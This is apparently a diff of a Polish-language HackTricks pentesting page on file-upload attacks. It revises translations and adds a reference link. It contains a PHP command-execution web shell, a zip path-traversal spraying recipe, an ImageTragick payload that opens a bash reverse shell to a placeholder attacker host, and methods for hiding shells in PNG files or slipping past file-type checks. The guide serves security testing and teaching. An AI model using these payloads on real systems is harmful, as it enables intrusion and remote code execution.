||||
@ -249,11 +254,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Wykorzystywanie kompresji do spryskiwania plików**
|
||||
**Wykorzystywanie kompresji do file spraying**
|
||||
|
||||
Aby uzyskać więcej szczegółów **sprawdź oryginalny post w**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Po więcej szczegółów **sprawdź oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonania poleceń przekazanych przez zmienną `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Kod PHP zapisany jest tak, aby wykonywał polecenia przekazywane przez zmienną `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -263,14 +268,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **Spryskiwanie plików i tworzenie skompresowanego pliku**: Tworzone są wiele plików, a następnie składany jest archiwum zip zawierające te pliki.
|
||||
2. **File Spraying and Compressed File Creation**: Utworzono wiele plików, a następnie złożono archiwum zip zawierające te pliki.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
|
||||
3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zastępując "xxA" przez "../", aby przejść do katalogów wyżej.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać lukę **(ImageMagick , 7.0.1-1)** (z [eksploitu](https://www.exploit-db.com/exploits/39767))
|
||||
Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (z [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Osadzanie powłoki PHP w PNG
|
||||
## Osadzanie PHP shell w PNG
|
||||
|
||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia.
|
||||
Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostaje niezmieniony przez te operacje, stanowi istotną przewagę w niektórych przypadkach użycia.
|
||||
|
||||
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
Szczegółowe omówienie tej techniki, w tym metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
|
||||
Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Pliki poliglotowe
|
||||
## Pliki polyglot
|
||||
|
||||
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
|
||||
Pliki polyglot działają jak kameleony — mogą jednocześnie poprawnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS lub PPT i JS.
|
||||
|
||||
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.
|
||||
Główna użyteczność polyglotów polega na ich zdolności do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. W praktyce wiele aplikacji dopuszcza do uploadu tylko określone typy plików — np. JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP, czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów jednocześnie, może cicho ominąć te ograniczenia.
|
||||
|
||||
Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przykład, podczas gdy plik poliglotowy może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, sukces jego przesyłania może zależeć od polityki rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dualność pliku poliglotowego może nie wystarczyć, aby zapewnić jego przesłanie.
|
||||
Mimo swojej wszechstronności polygloty napotykają ograniczenia. Na przykład, chociaż polyglot może jednocześnie być PHAR i JPEG, powodzenie uploadu może zależeć od polityki rozszerzeń na platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć do umożliwienia uploadu.
|
||||
|
||||
Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Przesyłanie ważnych JSON-ów jakby to był PDF
|
||||
### Wgrywanie prawidłowych plików JSON, tak jakby to był PDF
|
||||
|
||||
Jak unikać wykrywania typu pliku, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Jak uniknąć wykrywania typu pliku, wgrywając prawidłowy plik JSON nawet jeśli nie jest dozwolony, podszywając go pod PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **Biblioteka `mmmagic`**: Tak długo, jak bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu)
|
||||
- **Biblioteka `pdflib`**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka myślała, że to PDF (przykład z wpisu)
|
||||
- **Binarne `file`**: Może odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF, a pomyśli, że to PDF
|
||||
- **`mmmagic` library**: Dopóki magic bytes `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście)
|
||||
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała to za pdf (zobacz przykład w poście)
|
||||
- **`file` binary**: Może czytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie móc sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF — wtedy narzędzie uzna plik za PDF
|
||||
|
||||
## Odnośniki
|
||||
## Źródła
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
@ -322,5 +327,6 @@ Jak unikać wykrywania typu pliku, przesyłając ważny plik JSON, nawet jeśli
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user